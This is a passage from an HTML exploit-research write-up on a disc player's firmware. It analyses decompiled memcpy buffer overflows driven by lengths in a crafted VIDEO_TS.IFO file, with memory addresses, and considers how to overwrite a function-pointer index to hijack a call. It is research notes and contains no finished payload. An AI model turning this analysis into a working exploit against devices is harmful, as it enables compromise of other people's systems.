</p>
|
||||||
|
|
||||||
|
<pre><code>0x256668 - getBufferInternal
|
||||||
|
0x256888 - getBuffer</pre></code>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Searching calls to getBuffer, it's always a fixed number of sectors, 1 to 4, so as previously stated we can't just overflow straight into fpIndex with controlled contents as in > 3.02.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
But, <b>the buffer overflows definitely do still exist</b>. The function at 0x23e560 is a nice self contained one:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<pre><code>long bufferOverflow(void) {
|
||||||
|
long lVar1;
|
||||||
|
|
||||||
|
lVar1 = getBuffer(s_VIDEO_TS.IFO_0090c210,(long)(int)DAT_013c7840,sectorBuffer,1,0);
|
||||||
|
if (lVar1 == 0) {
|
||||||
|
someLengthFromIFO = (ushort)sectorBuffer[0] * 0x100 + (ushort)sectorBuffer[1];
|
||||||
|
DAT_013c7890 = ((long)(int)((uint)sectorBuffer[4] << 0x18) | (ulong)sectorBuffer[5] << 0x10) +
|
||||||
|
(ulong)sectorBuffer[6] * 0x100 + (ulong)sectorBuffer[7];
|
||||||
|
memcpy(&PTR_DAT_013c7898,sectorBuffer + 8,(uint)someLengthFromIFO * 0xc);
|
||||||
|
lVar1 = 0;
|
||||||
|
}
|
||||||
|
return lVar1;
|
||||||
|
}</code></pre>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
The memcpy call can overwrite memory from 0x013c7898 to 0x148788C (0x013c7898 + 0xffff * 0xc). The buffer overflow we are triggering in all other exploits because it gives biggest size is at 0x240284:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<pre><code>
|
||||||
|
length2 = (ushort)sectorBuffer[uVar33 + 2] * 0x100 + (ushort)sectorBuffer[uVar33 + 3];
|
||||||
|
length1 = (ushort)sectorBuffer[uVar33] * 0x100 + (ushort)sectorBuffer[uVar33 + 1];
|
||||||
|
length3 = (ushort)sectorBuffer[uVar33 + 4] * 0x100 + (ushort)sectorBuffer[uVar33 + 5];
|
||||||
|
DAT_013c9a2e = (ushort)sectorBuffer[uVar33 + 6] * 0x100 + (ushort)sectorBuffer[uVar33 + 7];
|
||||||
|
memcpy(&DAT_013c9a30,sectorBuffer + uVar33 + 8,
|
||||||
|
((uint)length1 + (uint)length2 + (uint)length3) * 8);</code></pre>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
fpIndex is at 0x13cfaca (leading to OOB call at 0x242f6c), and if we can set that to a controlled value we potentially have an exploit (if there's a good jump target).
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
fpIndex can be overwritten by either of the memcpy buffer overflows shown with a large enough size, but we're not corrupting it with data coming straight from disc; we only read at most 4 sectors (0x800 * 4) = 0x2000 into sectorBuffer, however we need to memcpy 0x609A bytes from sectorBuffer into 0x13c9a30 to overwrite fpIndex (0x13cfaca-0x13c9a30), so we'll be copying from uncontrolled OOB memory into fpIndex.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
So, can we make that OOB memory contain controlled contents? Well, by making use of that buffer overflow, we can shift the question from "can we control fpIndex (0x13cfaca)", to "can we control sectorBuffer + 0x609A = 0x13D331A", since if we control that the memcpy will then copy into fpIndex from an address we can control the contents of.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Looking at all of the copies - maybe you will be lucky and find that it happens to line up that after a series of copies - some value you control ends up in fpIndex. Will need more time on it.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
Loading…
Add table
Reference in a new issue